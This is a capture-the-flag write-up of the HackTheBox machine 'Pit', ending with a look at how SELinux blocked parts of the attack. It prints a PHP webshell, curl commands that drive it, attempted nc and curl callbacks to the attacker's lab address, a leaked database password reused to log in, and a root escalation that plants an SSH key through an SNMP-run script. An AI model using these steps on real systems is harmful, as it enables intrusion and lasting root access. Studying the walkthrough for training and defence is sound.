HTB: Pit
Pit used SNMP in two different ways. First, I’ll enumerate it to leak the location of a webserver running SeedDMS, where I’ll abuse a webshell upload vulnerability to get RCE on the host. I’m not able to get a reverse shell because of SeLinux, but I can enumerate enough to find a password for michelle, and use that to get access to a Cockpit instance which offers a terminal. From there, I’ll find that I can write scripts that will be run by SNMP, and I’ll use that to get execution and a shell as root. In Beyond Root, a look at SeLinux and how it blocked things I tried to do on Pit.
Box Info
Name | Pit Play on HackTheBox |
---|---|
Release Date | 15 May 2021 |
Retire Date | 25 Sep 2021 |
OS | Linux |
Base Points | Medium [30] |
Rated Difficulty | |
Radar Graph | |
01:35:19 |
|
02:00:33 |
|
Creators |
Recon
nmap
nmap
found three open TCP ports, SSH (22), HTTP (80), and HTTPS (9090):
oxdf@parrot$ nmap -p- --min-rate 10000 -oA scans/nmap-alltcp 10.10.10.241
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-14 09:35 EDT
Nmap scan report for 10.10.10.241
Host is up (0.10s latency).
Not shown: 65532 filtered ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
9090/tcp open zeus-admin
Nmap done: 1 IP address (1 host up) scanned in 25.01 seconds
oxdf@parrot$ nmap -p 22,80,9090 -sCV -oA scans/nmap-tcpscripts 10.10.10.241
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-14 09:41 EDT
Nmap scan report for 10.10.10.241
Host is up (0.089s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey:
| 3072 6f:c3:40:8f:69:50:69:5a:57:d7:9c:4e:7b:1b:94:96 (RSA)
| 256 c2:6f:f8:ab:a1:20:83:d1:60:ab:cf:63:2d:c8:65:b7 (ECDSA)
|_ 256 6b:65:6c:a6:92:e5:cc:76:17:5a:2f:9a:e7:50:c3:50 (ED25519)
80/tcp open http nginx 1.14.1
|_http-server-header: nginx/1.14.1
|_http-title: Test Page for the Nginx HTTP Server on Red Hat Enterprise Linux
9090/tcp open ssl/zeus-admin?
| fingerprint-strings:
| GetRequest, HTTPOptions:
| HTTP/1.1 400 Bad request
| Content-Type: text/html; charset=utf8
| Transfer-Encoding: chunked
| X-DNS-Prefetch-Control: off
| Referrer-Policy: no-referrer
| X-Content-Type-Options: nosniff
| Cross-Origin-Resource-Policy: same-origin
| <!DOCTYPE html>
| <html>
| <head>
| <title>
| request
| </title>
| <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
| <meta name="viewport" content="width=device-width, initial-scale=1.0">
| <style>
| body {
| margin: 0;
| font-family: "RedHatDisplay", "Open Sans", Helvetica, Arial, sans-serif;
| font-size: 12px;
| line-height: 1.66666667;
| color: #333333;
| background-color: #f5f5f5;
| border: 0;
| vertical-align: middle;
| font-weight: 300;
|_ margin: 0 0 10p
| ssl-cert: Subject: commonName=dms-pit.htb/organizationName=4cd9329523184b0ea52ba0d20a1a6f92/countryName=US
| Subject Alternative Name: DNS:dms-pit.htb, DNS:localhost, IP Address:127.0.0.1
| Not valid before: 2020-04-16T23:29:12
|_Not valid after: 2030-06-04T16:09:12
|_ssl-date: TLS randomness does not represent time
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9090-TCP:V=7.91%T=SSL%I=7%D=5/14%Time=609E7E56%P=x86_64-pc-linux-gn
...[SNIP]...
The service on 9090 has a certificate with the name dms-pit.htb, so I’ll add that to /etc/hosts
.
I typically run a UDP scan in the background once I finish the TCP scans, but rarely show it because it doesn’t typically show anything interesting (or anything at all). UDP nmap
is super finicky. One trick I like is to run scripts and/or check versions as I scan because if there are results that’s a much better indicator than if the port is just open|filtered
. Here it does find SNMP on UDP 161:
oxdf@parrot$ sudo nmap -sU --top-ports 10 -sV 10.10.10.241
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-14 11:01 EDT
Nmap scan report for 10.10.10.241
Host is up (0.090s latency).
PORT STATE SERVICE VERSION
53/udp filtered domain
67/udp filtered dhcps
123/udp filtered ntp
135/udp filtered msrpc
137/udp filtered netbios-ns
138/udp filtered netbios-dgm
161/udp open snmp SNMPv1 server; net-snmp SNMPv3 server (public)
445/udp filtered microsoft-ds
631/udp filtered ipp
1434/udp filtered ms-sql-m
Service Info: Host: pit.htb
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 5.11 seconds
Website - TCP 80
Visiting the site by IP address returns the default Red Hat NGINX page:
feroxbuster
on this IP finds nothing.
Visiting http://dms-pit.htb
returns 403:
feroxbuster
finds a good deal of stuff on this url, but it’s all 403:
oxdf@parrot$ feroxbuster -u http://dms-pit.htb
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.2.1
───────────────────────────┬──────────────────────
🎯 Target Url │ http://dms-pit.htb
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.2.1
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
403 7l 10w 169c http://dms-pit.htb/Conferences
403 7l 10w 169c http://dms-pit.htb/configurator
403 7l 10w 169c http://dms-pit.htb/autoconfig
403 7l 10w 169c http://dms-pit.htb/disappearing
...[snip]...
403 7l 10w 169c http://dms-pit.htb/confridin
403 7l 10w 169c http://dms-pit.htb/webconfig
[####################] - 59s 29999/29999 0s found:74 errors:0
[####################] - 59s 29999/29999 506/s http://dms-pit.htb
HTTPS - TCP 9090
Visiting this by IP or dms-pit.htb gives the same page, a CentOS Linux remote access page:
Interestingly there’s another domain, pit.htb
. After adding it to /etc/hosts
, I checked this and the port 80, but nothing new.
SNMP - UDP 161
To enumerate SNMP, you need a community string. By default, it’s always worth trying “public”. I’ll dump the entire SNMP into a file to look through with snmp-walk
(I’ve also already got the mibs installed - see Sneaky for details):
oxdf@parrot$ snmpwalk -v1 -c public 10.10.10.241 . > scans/snmpwalk-full
oxdf@parrot$ wc -l scans/snmpwalk-full
1639 scans/snmpwalk-full
Looking at the data, a few things jump out.
The hostname is pit.htb
:
SNMPv2-MIB::sysName.0 = STRING: pit.htb
I get a full process list, and while there are a few unfamiliar applications, nothing jumps out as interesting at this point. When I get to the section with the output line for the monitoring
process, there’s some good information in the NET-SNMP-EXTEND-MIB
:
NET-SNMP-EXTEND-MIB::nsExtendOutputFull."monitoring" = STRING: Memory usage
total used free shared buff/cache available
Mem: 3.8Gi 343Mi 3.2Gi 8.0Mi 295Mi 3.3Gi
Swap: 1.9Gi 0B 1.9Gi
Database status
OK - Connection to database successful.
System release info
CentOS Linux release 8.3.2011
SELinux Settings
user
Labeling MLS/ MLS/
SELinux User Prefix MCS Level MCS Range SELinux Roles
guest_u user s0 s0 guest_r
root user s0 s0-s0:c0.c1023 staff_r sysadm_r system_r unconfined_r
staff_u user s0 s0-s0:c0.c1023 staff_r sysadm_r unconfined_r
sysadm_u user s0 s0-s0:c0.c1023 sysadm_r
system_u user s0 s0-s0:c0.c1023 system_r unconfined_r
unconfined_u user s0 s0-s0:c0.c1023 system_r unconfined_r
user_u user s0 s0 user_r
xguest_u user s0 s0 xguest_r
login
Login Name SELinux User MLS/MCS Range Service
__default__ unconfined_u s0-s0:c0.c1023 *
michelle user_u s0 *
root unconfined_u s0-s0:c0.c1023 *
System uptime
11:42:32 up 2:09, 0 users, load average: 0.00, 0.00, 0.00
The OS version is CentOS Linux 8.3.2011. It’s running SELinux, and there’s a user named michelle.
There’s another line that jumped out:
UCD-SNMP-MIB::dskPath.1 = STRING: /
UCD-SNMP-MIB::dskPath.2 = STRING: /var/www/html/seeddms51x/seeddms
UCD-SNMP-MIB::dskDevice.1 = STRING: /dev/mapper/cl-root
UCD-SNMP-MIB::dskDevice.2 = STRING: /dev/mapper/cl-seeddms
It’s not immediately clear to me what this is. But it’s a path that’s in the /var/www/html
directory, which suggests that might be a path on the webserver.
SeedDMS
Site
Visiting http://dms-pit.htb/seeddms51x/seeddms/
redirects to a login page:
It claims to be a classified area. SeedDMS is a free document management system.
Login
At this point I do have a username, michelle. After a couple guesses, the password michelle provides access:
The “Upgrade Note” is interesting:
Because of the security issues in 5.1.10, they upgraded to 5.1.15.
I’ll also note that the urls within this application end in .php
.
Shell as michelle
Identify Exploit
Looking at the changelog for version 5.1.11, the top issue is this one:
- fix for CVE-2019-12744 (Remote Command Execution through unvalidated file upload), add .htaccess file to data directory, better documentation for installing seeddms
It sounds like the old version allowed for upload of PHP webshells. What’s surprising is the fix - “add .htaccess
file”. That would probably work on Apache, but not NGINX, which this server is running.
There’s a public POC for this exploit on ExploitDB. Basically it says to upload a webshell and then find it at /data/1048576/"document_id"/1.php
, where the document id is available in the file’s page once uploaded.
By hovering over the link to the CHANGELOG
file, I can see it’s document_id is 21:
I took a few guesses at the file structure to see if I could find the new .htaccess
file, and eventually found it in /data
at http://dms-pit.htb/seeddms51x/data/.htaccess
:
# line below if for Apache 2.4
<ifModule mod_authz_core.c>
Require all denied
</ifModule>
# line below if for Apache 2.2
<ifModule !mod_authz_core.c>
deny from all
Satisfy All
</ifModule>
# section for Apache 2.2 and 2.4
<ifModule mod_autoindex.c>
IndexIgnore *
</ifModule>
On Apache, this would prevent access to any file inside /data
. But again, this is NGINX.
Webshell
It doesn’t look like I have access to upload to the root, but I’ll start digging in folders. Once I get to /Docs/Users/
, there’s two directories, Michelle and Jack:
Based on the icon’s not being grayed out, I might have some permissions on Michelle.
Clicking on that, there’s not a bunch of options at the top, including to Add document:
I’ll upload my favorite simple PHP webshell:
<?php system($_REQUEST["cmd"]); ?>
The document ID is 31.
oxdf@parrot$ curl http://dms-pit.htb/seeddms51x/data/1048576/31/1.php?cmd=id
uid=992(nginx) gid=988(nginx) groups=988(nginx) context=system_u:system_r:httpd_t:s0
That’s code execution! This file is deleted every 5-10 minutes, so I may have to upload again, and the document id will increment as well.
Reverse Shell Fail
I tried a bunch of things to get a reverse shell, but they all failed. When I couldn’t even get curl
to connect to my host, I guessed maybe a firewall, but it was still acting weird.
oxdf@parrot$ curl -G http://dms-pit.htb/seeddms51x/data/1048576/33/1.php --data-urlencode 'cmd=curl http://10.10.14.7 2>&1'
Looking at a nc
connection back to me, it also failed:
oxdf@parrot$ curl -G http://dms-pit.htb/seeddms51x/data/1048576/33/1.php --data-urlencode 'cmd=nc 10.10.14.7 443 2>&1'
Ncat: Permission denied.
Permission denied is interesting. I’ll look at the file:
oxdf@parrot$ curl -G http://dms-pit.htb/seeddms51x/data/1048576/33/1.php --data-urlencode 'cmd=ls -l /bin/nc'
lrwxrwxrwx. 1 root root 22 May 10 10:56 /bin/nc -> /etc/alternatives/nmap
oxdf@parrot$ curl -G http://dms-pit.htb/seeddms51x/data/1048576/33/1.php --data-urlencode 'cmd=ls -l /etc/alternatives/nmap'
lrwxrwxrwx. 1 root root 13 May 10 10:56 /etc/alternatives/nmap -> /usr/bin/ncat
oxdf@parrot$ curl -G http://dms-pit.htb/seeddms51x/data/1048576/33/1.php --data-urlencode 'cmd=ls -l /usr/bin/ncat'
-rwxr-xr-x. 1 root root 644376 Nov 8 2019 /usr/bin/ncat
Ignoring the fact that somehow the nc
link is configured through the alternatives, the actual ncat
binary has an extra .
on the end of the permissions. That’s an indication the SELinux is impacting the file.
curl
has it too:
oxdf@parrot$ curl -G http://dms-pit.htb/seeddms51x/data/1048576/33/1.php --data-urlencode 'cmd=ls -l /usr/bin/curl'
-rwxr-xr-x. 1 root root 244104 Dec 17 17:46 /usr/bin/curl
Webshell Enum
I’ll use a simple Bash loop to enumerate the box through the webshell:
oxdf@parrot$ while :; do read -p "> " cmd; curl -G http://dms-pit.htb/seeddms51x/data/1048576/33/1.php --data-urlencode "cmd=$cmd 2>&1"; done
> id
uid=992(nginx) gid=988(nginx) groups=988(nginx) context=system_u:system_r:httpd_t:s0
> ls
1.php
> nc 10.10.14.7 443
Ncat: Permission denied.
I’m not able to access /home
:
> ls /home
ls: cannot open directory '/home': Permission denied
Looking at the web directories, there’s a settings.xml
for the DMS:
> ls ../..
1048576
backup
cache
conf
log
lucene
staging
> ls ../../conf
settings.xml
settings.xml.template
stopwords.txt
Inside, this line has creds:
<database dbDriver="mysql" dbHostname="localhost" dbDatabase="seeddms" dbUser="seeddms" dbPass="ied^ieY6xoquu" doNotCheckVersion="false">
Remote Shell
That password doesn’t work for SSH as michelle:
oxdf@parrot$ sshpass -p "ied^ieY6xoquu" ssh michelle@10.10.10.241
Warning: Permanently added '10.10.10.241' (ECDSA) to the list of known hosts.
michelle@10.10.10.241: Permission denied (publickey,gssapi-keyex,gssapi-with-mic).
It looks like key-based auth is required. But it will login as michelle via the service on TCP 9090:
The bottom option on the left side is Terminal:
Sometimes the text in the shell is all garbled:
Changing the appearance one or two times will fix that. I can copy out of the shell as well with Ctrl-Insert
.
I can grab user.txt
:
[michelle@pit ~]$ cat user.txt
78455c9b************************
Shell as root
Enumeration
As michelle, I can only see processes owned by michelle:
[michelle@pit .ssh]$ ps auxww
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.3 245460 14256 ? Ss 09:32 0:06 /usr/lib/systemd/systemd --switched-root --system --deserialize 17
michelle 4334 0.0 0.0 27400 516 ? Ss 13:44 0:00 /usr/bin/ssh-agent
michelle 4337 0.0 0.2 94016 9996 ? Ss 13:44 0:00 /usr/lib/systemd/systemd --user
michelle 4341 0.0 0.1 314728 5124 ? S 13:44 0:00 (sd-pam)
michelle 4347 0.1 0.8 425048 32716 ? Rl 13:44 0:05 cockpit-bridge
michelle 5939 0.0 0.0 24096 3932 pts/0 Ss 14:10 0:00 /bin/bash
michelle 7105 0.0 0.0 58692 4024 pts/0 R+ 14:32 0:00 ps auxww
But I had SNMP access that gave the full process list. One of the things that was interesting was the output of the NET-SNMP-EXTEND-MIB
. Some digging on that shows that it’s an extension that allows for running of specific scripts triggered by SNMP. The command for that was also given:
NET-SNMP-EXTEND-MIB::nsExtendCommand."monitoring" = STRING: /usr/bin/monitor
monitor
doesn’t show up with which
, but it is in /usr/bin
:
[michelle@pit /]$ which monitor
/usr/bin/which: no monitor in (/home/michelle/.local/bin:/home/michelle/bin:/home/michelle/.local/bin:/home/michelle/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin)
[michelle@pit /]$ find . -name monitor -ls 2>/dev/null
517764 4 -rw-r--r-- 1 root root 3252 Jan 4 11:28 ./usr/share/snmp/snmpconf-data/snmpd-data/monitor
797223 4 -rwxr--r-- 1 root root 88 Apr 18 2020 ./usr/bin/monitor
Only root can run it, which is why which
doesn’t identify it.
The script itself is just a Bash script that finds scripts in /usr/local/monitoring
and runs them:
[michelle@pit /]$ file /usr/bin/monitor
/usr/bin/monitor: Bourne-Again shell script, ASCII text executable
[michelle@pit /]$ cat /usr/bin/monitor
#!/bin/bash
for script in /usr/local/monitoring/check*sh
do
/bin/bash $script
done
I can’t read in that directory, and the directory itself is only writable by root:
[michelle@pit /]$ ls -l /usr/local/monitoring
ls: cannot open directory '/usr/local/monitoring': Permission denied
[michelle@pit /]$ ls -ld /usr/local/monitoring
drwxrwx---+ 2 root root 122 May 14 14:40 /usr/local/monitoring
However, there is a +
at the end of the permissions, which means there’s additional ACLs set on the directory. michelle actually can write and execute from the directory:
[michelle@pit /]$ getfacl /usr/local/monitoring
getfacl: Removing leading '/' from absolute path names
# file: usr/local/monitoring
# owner: root
# group: root
user::rwx
user:michelle:-wx
group::rwx
mask::rwx
other::---
Execution as Root
I’ll write a simple script to ping
my VM:
[michelle@pit monitoring]$ echo 'ping -c 1 10.10.14.7' > check_0xdf.sh
[michelle@pit monitoring]$ cat check_0xdf.sh
ping -c 1 10.10.14.7
The script works fine as michelle:
[michelle@pit monitoring]$ bash check_0xdf.sh
PING 10.10.14.7 (10.10.14.7) 56(84) bytes of data.
64 bytes from 10.10.14.7: icmp_seq=1 ttl=63 time=92.3 ms
--- 10.10.14.7 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 92.259/92.259/92.259/0.000 ms
Now I’ll trigger it via SNMP (I can trigger just the MIB for the monitoring script so that it doesn’t take minutes to run):
oxdf@parrot$ snmpwalk -v1 -c public 10.10.10.241 NET-SNMP-EXTEND-MIB::nsExtendObjects
NET-SNMP-EXTEND-MIB::nsExtendNumEntries.0 = INTEGER: 1
NET-SNMP-EXTEND-MIB::nsExtendCommand."monitoring" = STRING: /usr/bin/monitor
NET-SNMP-EXTEND-MIB::nsExtendArgs."monitoring" = STRING:
NET-SNMP-EXTEND-MIB::nsExtendInput."monitoring" = STRING:
NET-SNMP-EXTEND-MIB::nsExtendCacheTime."monitoring" = INTEGER: 5
NET-SNMP-EXTEND-MIB::nsExtendExecType."monitoring" = INTEGER: exec(1)
NET-SNMP-EXTEND-MIB::nsExtendRunType."monitoring" = INTEGER: run-on-read(1)
NET-SNMP-EXTEND-MIB::nsExtendStorage."monitoring" = INTEGER: permanent(4)
NET-SNMP-EXTEND-MIB::nsExtendStatus."monitoring" = INTEGER: active(1)
NET-SNMP-EXTEND-MIB::nsExtendOutput1Line."monitoring" = STRING: ping: cap_set_proc: Permission denied
NET-SNMP-EXTEND-MIB::nsExtendOutputFull."monitoring" = STRING: ping: cap_set_proc: Permission denied
Memory usage
total used free shared buff/cache available
Mem: 3.8Gi 439Mi 3.0Gi 8.0Mi 393Mi 3.2Gi
Swap: 1.9Gi 0B 1.9Gi
...[snip]...
There’s some kind of permission denied on ping
(last two lines starting with NET-SNMP
), which is weird, but feels like SELinux. It does show it tried to run the script.
Shell
I’ll try a script that will write an SSH key into root’s authorized_keys
file:
[michelle@pit monitoring]$ echo 'echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDIK/xSi58QvP1UqH+nBwpD1WQ7IaxiVdTpsg5U19G3d nobody@nothing" | tee /root/.ssh/authorized_keys && echo "it worked!"' > check_0xdf.sh
I use tee
and the additional echo
so that the output will be visible in the SNMP output to see if it worked.
On triggering that, the output looks good:
oxdf@parrot$ snmpwalk -v1 -c public 10.10.10.241 NET-SNMP-EXTEND-MIB::nsExtendObjects
NET-SNMP-EXTEND-MIB::nsExtendNumEntries.0 = INTEGER: 1
NET-SNMP-EXTEND-MIB::nsExtendCommand."monitoring" = STRING: /usr/bin/monitor
NET-SNMP-EXTEND-MIB::nsExtendArgs."monitoring" = STRING:
NET-SNMP-EXTEND-MIB::nsExtendInput."monitoring" = STRING:
NET-SNMP-EXTEND-MIB::nsExtendCacheTime."monitoring" = INTEGER: 5
NET-SNMP-EXTEND-MIB::nsExtendExecType."monitoring" = INTEGER: exec(1)
NET-SNMP-EXTEND-MIB::nsExtendRunType."monitoring" = INTEGER: run-on-read(1)
NET-SNMP-EXTEND-MIB::nsExtendStorage."monitoring" = INTEGER: permanent(4)
NET-SNMP-EXTEND-MIB::nsExtendStatus."monitoring" = INTEGER: active(1)
NET-SNMP-EXTEND-MIB::nsExtendOutput1Line."monitoring" = STRING: ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDIK/xSi58QvP1UqH+nBwpD1WQ7IaxiVdTpsg5U19G3d nobody@nothing
NET-SNMP-EXTEND-MIB::nsExtendOutputFull."monitoring" = STRING: ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDIK/xSi58QvP1UqH+nBwpD1WQ7IaxiVdTpsg5U19G3d nobody@nothing
it worked!
Memory usage
total used free shared buff/cache available
Mem: 3.8Gi 449Mi 3.0Gi 8.0Mi 394Mi 3.2Gi
...[snip]...
SSH will work to connect with the matching private key as root:
oxdf@parrot$ ssh -i ~/keys/ed25519_gen root@10.10.10.241
Web console: https://pit.htb:9090/ or https://10.10.10.241:9090/
Last login: Mon May 10 11:42:46 2021
[root@pit ~]#
And grab that flag:
[root@pit ~]# cat root.txt
a96b3445************************
Beyond Root - SeLinux
Background
I noted during solving that SeLinux was on the box, and blocking things I was trying to do. SeLinux puts a ton more granular permissions around not just file access but other kinds of access like sockets. It blocked reverse shells from the webshell. It also prevented me from using the SNMP scripts to access root.txt
. For example, creating this script:
[michelle@pit monitoring]$ echo "echo "root flag:"; cat /root/root.txt" > check_root.sh
Running it results in these two lines:
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".9 = STRING: root flag:
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".10 = STRING: cat: /root/root.txt: Permission denied
And looking at the file, it’s got the .
at the end of the permissions to indicate SeLinux:
[root@pit monitoring]# ls -l /root/root.txt
-r--------. 1 root root 33 Sep 23 14:07 /root/root.txt
Using -Z
with ls
will show the SeLinux context:
[root@pit ~]# ls -Z root.txt
unconfined_u:object_r:admin_home_t:s0 root.txt
So root.txt
falls under the admin_home_t
role.
root.txt
SeLinux can run in two modes - Enforce (1) and Permissive (0). getenforce
will return which mode is running:
[root@pit monitoring]# getenforce
Enforcing
Enforcing will block specific activities, where as Permissive will just log them but let them happen.
For example, if I change the mode:
[root@pit monitoring]# setenforce permissive
And retrigger the SNMP script to get the root flag:
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".9 = STRING: root flag:
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".10 = STRING: 452a9b73************************
Logs are created at /var/log/audit/audit.log
. When I tried to read root.txt
with SNMP and it was blocked, this log was created:
type=AVC msg=audit(1632502921.588:5222): avc: denied { read } for pid=14471 comm="cat" name="root.txt" dev="dm-0" ino=2435300 scontext=system_u:system_r:snmpd_t:s0 tcontext=unconfined_u:object_r:admin_home_t:s0 tclass=file permissive=0
In permissive mode, three logs were created:
type=AVC msg=audit(1632502973.982:5226): avc: denied { read } for pid=14524 comm="cat" name="root.txt" dev="dm-0" ino=2435300 scontext=system_u:system_r:snmpd_t:s0 tcontext=unconfined_u:object_r:admin_home_t:s0 tclass=file permissive=1
type=AVC msg=audit(1632502973.982:5226): avc: denied { open } for pid=14524 comm="cat" path="/root/root.txt" dev="dm-0" ino=2435300 scontext=system_u:system_r:snmpd_t:s0 tcontext=unconfined_u:object_r:admin_home_t:s0 tclass=file permissive=1
type=AVC msg=audit(1632502973.982:5227): avc: denied { getattr } for pid=14524 comm="cat" path="/root/root.txt" dev="dm-0" ino=2435300 scontext=system_u:system_r:snmpd_t:s0 tcontext=unconfined_u:object_r:admin_home_t:s0 tclass=file permissive=1
The first was exactly the same as the previous log, except permissive=1
instead of 0. Both of those were for the read
syscall. The next two log in permissive mode were for the open
and getattr
on root.txt
.
In all the logs, I can see the issue is with the snmpd_t
role trying to access admin_home_t
. If I pipe that log into audit2allow
, it shows how to configure the system to not block this:
[root@pit audit]# cat audit.log | grep read | grep root.txt | tail -1 | audit2allow
#============= snmpd_t ==============
allow snmpd_t admin_home_t:file read;
In this case, snmpd_t
would need file read
access to admin_home_t
.
Webshell
The reverse shell from the webshell was another thing that was blocked. In fact, any connection out to me was blocked. To demonstrate, I’l run nc
over the webshell to just connect to my host:
oxdf@parrot$ curl -G --data-urlencode 'cmd=nc 10.10.14.7 443' http://dms-pit.htb/seeddms51x/data/1048576/29/1.php
It generates these logs:
type=AVC msg=audit(1632504453.554:5282): avc: denied { name_connect } for pid=15554 comm="nc" dest=443 scontext=system_u:system_r:httpd_t:s0 tcontext=system_u:object_r:http_port_t:s0 tclass=tcp_socket permissive=0
type=SYSCALL msg=audit(1632504453.554:5282): arch=c000003e syscall=42 success=no exit=-13 a0=3 a1=5635357392c0 a2=10 a3=3 items=0 ppid=15428 pid=15554 auid=4294967295 uid=992 gid=988 euid=992 suid=992 fsuid=992 egid=988 sgid=988 fsgid=988 tty=(none) ses=4294967295 comm="nc" exe="/usr/bin/ncat" subj=system_u:system_r:httpd_t:s0 key=(null)ARCH=x86_64 SYSCALL=connect AUID="unset" UID="nginx" GID="nginx" EUID="nginx" SUID="nginx" FSUID="nginx" EGID="nginx" SGID="nginx" FSGID="nginx"
type=PROCTITLE msg=audit(1632504453.554:5282): proctitle=6E630031302E31302E31342E3700343433
I can feed that into audit2why
to get more details about what’s going on:
[root@pit audit]# cat audit.log | grep 'comm="nc"' | tail -2 | audit2why
type=AVC msg=audit(1632504453.554:5282): avc: denied { name_connect } for pid=15554 comm="nc" dest=443 scontext=system_u:system_r:httpd_t:s0 tcontext=system_u:object_r:http_port_t:s0 tclass=tcp_socket permissive=0
Was caused by:
One of the following booleans was set incorrectly.
Description:
Allow httpd to can network connect
Allow access by executing:
# setsebool -P httpd_can_network_connect 1
Description:
Allow httpd to graceful shutdown
Allow access by executing:
# setsebool -P httpd_graceful_shutdown 1
Description:
Allow httpd to can network relay
Allow access by executing:
# setsebool -P httpd_can_network_relay 1
Description:
Allow nis to enabled
Allow access by executing:
# setsebool -P nis_enabled 1
The messages assume that if you are looking, it’s supposed to be working (as opposed to detecting malicious activity). Still, the details are useful. There’s a rule preventing the httpd
process from making outbound connections.
Z
in ps
will show the same thing for processes:
[root@pit audit]# ps auxwwZ | grep nginx
system_u:system_r:httpd_t:s0 root 1139 0.0 0.0 119280 2284 ? Ss Sep23 0:00 nginx: master process /usr/sbin/nginx
system_u:system_r:httpd_t:s0 nginx 1145 0.0 0.2 151984 8180 ? S Sep23 0:00 nginx: worker process
system_u:system_r:httpd_t:s0 nginx 1146 0.0 0.2 151984 8180 ? S Sep23 0:00 nginx: worker process
system_u:system_r:httpd_t:s0 nginx 15837 0.0 0.3 266780 12972 ? S 13:35 0:00 php-fpm: pool www
system_u:system_r:httpd_t:s0 nginx 15838 0.0 0.3 266780 12976 ? S 13:35 0:00 php-fpm: pool www
system_u:system_r:httpd_t:s0 nginx 15839 0.0 0.3 266780 12976 ? S 13:35 0:00 php-fpm: pool www
system_u:system_r:httpd_t:s0 nginx 15840 0.0 0.3 266780 12976 ? S 13:35 0:00 php-fpm: pool www
system_u:system_r:httpd_t:s0 nginx 15841 0.0 0.3 266780 12976 ? S 13:35 0:00 php-fpm: pool www
nginx
is in the httpd_t
role. audit2why
showed that this role needs some permission to connect out.
audit2allow
audit2allow
will give you a list of things that are blocked, and what the things to allow so that none of them would be blocked. In short, if you installed SeLinux on a clean system, put it into permissive mode, ran for a short period of time, and then allowed everything, as long as your system wasn’t exploited during that time, you can get a good snapshot of what you do that’s legit.
For a suspected compromised host, you can use this to look at everything SeLinux blocked:
[root@pit monitoring]# audit2allow -i /var/log/audit/audit.log
#============= httpd_t ==============
#!!!! This avc can be allowed using one of the these booleans:
# httpd_can_network_connect, httpd_graceful_shutdown, httpd_can_network_relay, nis_enabled
allow httpd_t http_port_t:tcp_socket name_connect;
#============= setroubleshootd_t ==============
allow setroubleshootd_t user_t:dbus send_msg;
#============= snmpd_t ==============
allow snmpd_t admin_home_t:file { getattr open read };
#============= user_t ==============
allow user_t init_var_run_t:service status;
allow user_t self:capability sys_resource;
allow user_t setroubleshoot_fixit_t:dbus send_msg;
allow user_t setroubleshootd_t:dbus send_msg;
allow user_t tuned_t:dbus send_msg;
allow user_t usr_t:dir remove_name;
So it is detecting httpd_t
trying to make connections, snmpd_t
trying to read files, etc.